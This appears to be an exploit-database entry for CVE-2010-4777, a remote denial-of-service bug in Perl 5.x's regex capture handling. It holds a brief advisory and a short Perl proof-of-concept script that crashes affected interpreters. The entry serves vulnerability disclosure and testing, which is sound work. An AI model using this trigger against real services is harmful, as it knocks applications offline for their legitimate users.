Perl 5.x - 'Perl_reg_numbered_buff_fetch()' Remote Denial of Service

Author: Vladimir Perepelitsa
type: dos
platform: multiple
port: 
date_added: 2011-03-23 
date_updated: 2014-12-08 
verified: 1 
codes: CVE-2010-4777;OSVDB-74745 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/47006/info

Perl is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to cause an application implemented with affected perl code to abort, denying service to legitimate users.

#!/usr/bin/perl


my @x = ("A=B","AAAA=/");
utf8::upgrade $_ for @x;
$x[1] =~ s{/\s*$}{};
for (@x) {
m{^([^=]+?)\s*=.+$};
}